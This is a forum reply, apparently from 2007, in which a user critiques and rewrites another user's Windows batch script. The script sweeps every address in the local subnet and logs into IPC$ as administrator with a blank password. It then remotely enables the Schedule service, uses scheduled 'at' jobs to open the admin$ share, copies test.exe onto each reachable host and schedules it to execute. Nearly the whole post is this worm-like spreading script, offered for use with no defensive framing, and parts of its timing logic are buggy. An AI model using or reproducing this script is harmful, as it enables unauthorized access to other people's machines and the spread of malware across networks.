LZ's batch processing has quite a few issues.
First, the sentence "ping %IP% -n 2 | findstr /i "time<" &&" may miss a lot; there are many that can ping but don't have "time<" but "time=". It's better to use errorlevel for judgment.
Second, the sentence "copy test.exe \\%IP%\admin$" generally, the admin$ won't be on ordinary machines; so I first test whether this machine can be exploited in terms of ipc$.
sc \\%ip% config Schedule start= auto ^| find "SUCCESS"
The sentence I use; on one hand, test the exploitable value of this machine (if the remote connection service can't even change settings, then this machine can't even execute at commands and will refuse access). Generally, if this step passes, it can be said that this machine can be completely controlled; on the other hand, change the startup mode of Schedule (of course, most machines this is already on).
net start Schedule
Can use at command
net time \\%ip% /set /y
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j
set /a mm=%mm%+1
set tm=%hh%:0%mm%
at \\%ip% %tm% net share admin$
So start the other party's admin$ in 1 minute. Then the following is copying files and starting..............
Below is my modified one..........
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| find /i "ip address"') do (set ip=%%a&& goto :gof)
:gof
set "ip=%ip: =%"
for /f "tokens=1,2,3 delims=." %%b in ("%ip%") do (set ip1=1
call :bb %%b %%c %%d %ip1%)
:bb
set IP=%1.%2.%3.%ip1%
ping %IP% -n 2
if errorlevel 0 if not errorlevel 1 net use \\%IP%\ipc$ "" /user:administrator
if errorlevel 0 if not errorlevel 1 sc \\%ip% config Schedule start= auto ^| find "SUCCESS"
if errorlevel 0 if not errorlevel 1 sc start Schedule
net time \\%ip% /set /y
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j
set /a mm=%mm%+1
set tm=%hh%:0%mm%
at \\%ip% %tm% net share admin$ ...............From here down, I think it's a bit redundant, might as well estimate the time.
:loop
if %time%==%tm%+1 (goto next) else (goto loop)
:next
copy test.exe \\%IP%\admin$
net time \\%ip% /set /y
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j
set /a mm=%mm%+1
set tm=%hh%:0%mm%
at \\%ip% %tm% c:\windows\system32\test.exe
set /a ip1+=1
if %ip1% lss 255 goto :bb
exit
[ Last edited by bjsh on 2007-3-8 at 03:29 PM ]